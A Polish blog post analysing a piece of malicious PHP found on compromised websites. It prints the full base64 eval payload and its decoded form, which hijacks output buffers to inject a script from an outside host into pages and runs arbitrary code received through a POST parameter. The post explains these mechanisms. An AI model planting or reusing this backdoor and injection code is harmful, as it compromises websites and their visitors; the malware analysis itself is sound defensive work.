Dzisiaj w cyklu mam kodzik który jak na takie syfy jest całkiem ładnie napisany. Autor wziął pod uwagę kilka sytuacji specjalnych, ale o tym poniżej. Bazowy kod który można znaleźć wygląda podobnie do wszystkich pozostałych:

<?php
eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndXEyJykpe2Z1bmN0aW9uIHVxMigkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwzWmhjMkZwYTJGeUxtOXlaeTl0WVcxaWIzUnpMM05sWVhKamFDNXdhSEFnUGp3dmMyTnlhWEIwUGc9PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24gdXEyMigkYSwkYiwkYywkZCl7Z2xvYmFsJHVxMjE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJHVxMjEpKWNhbGxfdXNlcl9mdW5jKCR1cTIxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25hbWUnXSk9PSd1cTInKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCd1cTInKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kdXEybD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcigndXEyMicpKSE9J3VxMjInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw=='));
?>

Po odkręceniu base64 zobaczymy jednoliniowy kod, który już dla ułatwienia ułożyłem:

<?php
if(!function_exists('uq2')){
    function uq2($s){
        if(preg_match_all('#<script(.*?)</script>#is', $s, $a))
            foreach($a[0]as$v)
                if(count(explode("\n", $v)) > 5){
                    $e = preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#', $v) || preg_match('#[\(\[](\s*\d+,){20,}#', $v);
                    if((preg_match('#\beval\b#', $v) && ($e || strpos($v, 'fromCharCode'))) || ($e && strpos($v, 'document.write')))
                        $s = str_replace($v, '', $s);
                }

        if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is', $s, $a))
            foreach($a[0]as$v)
                if(preg_match('#[\. ]width\s*=\s*[\'"]?0*[0-9][\'"> ]|display\s*:\s*none#i', $v) && !strstr($v, '?' . '>'))
                    $s = preg_replace('#' . preg_quote($v, '#') . '.*?</iframe>#is', '', $s);

        $s = str_replace($a = base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL3Zhc2Fpa2FyLm9yZy9tYW1ib3RzL3NlYXJjaC5waHAgPjwvc2NyaXB0Pg=='), '', $s);
        if(stristr($s, '<body'))
            $s = preg_replace('#(\s*<body)#mi', $a . '\1', $s, 1);
        elseif(strpos($s, '<a'))
            $s = $a . $s;

        return $s;
    }

    function uq22($a, $b, $c, $d){
        global $uq21;

        $s = array();
        if(function_exists($uq21))
            call_user_func($uq21, $a, $b, $c, $d);

        foreach(@ob_get_status(1) as $v)
            if(($a = $v['name']) == 'uq2')
                return;
            elseif($a == 'ob_gzhandler')
                break;
            else
                $s[] = array($a == 'default output handler'?false:$a);

        for($i = count($s)-1; $i >= 0; $i--){
            $s[$i][1] = ob_get_contents();
            ob_end_clean();
        }
        ob_start('uq2');
        for($i = 0;$i < count($s);$i++){
            ob_start($s[$i][0]);
            echo $s[$i][1];
        }
    }
}
$uq2l = (($a = @set_error_handler('uq22')) != 'uq22')?$a:0;
eval(base64_decode($_POST['e']));
?>

Ww. kod rejestruje sobie dwie funkcje „uq2″ i „uq22″ oraz udostępnia uruchamianie kodu zdalnego przesłanego via _POST['e'], ale to nie to spowodowało, że opisuje ten kod tutaj.

Autor kodu ustawia własny error_handler funkcją set_error_hanler i tutaj pierwsze „ładne” podejście programistyczne: gdyby programista w swoim kodzie użył własnego error_handlera, to trafi on do zmiennej $uq2l i zostanie później uruchomiony żeby nie przerwać przebiegu, którego spodziewa się programista.

W funkcji obsługującej błędy „uq22″ jest drugi element, który zwrócił moją uwagę: autor pobiera wszystkie funkcje przejmujące tzw: „output buffer” i jeżeli jest wśród nich funkcja programisty, to zostanie z niej pobrana zawartość, a później zostanie do niej zwrócona :) Pomiędzy tymi czynnościami zawartość trafia do funkcji „uq2″.

Funkcja „uq2″ cały czas mnie zastanawia. Z kodu wynika że autor szuka na stronie kodu JavaScript umieszczonego w tagach <script>…</script> i czyści go z niektórych elementów. Dalej wyszukuje na podobnej zasadzie tagi iframe i również dokonuje czyszczenia. Na koniec kasuje z kodu odwołania do skryptu który zaraz doda przed tagiem </body>. Kod kryje się pod tekstem zapisanym w base64:

<script src=http://vasaikar.org/mambots/search.php ></script>

Ostatni element układanki (kod JavaScript) już nie jest dostępny, a więc nie wiadomo co działo się na końcu.

Komentarze zablokowane.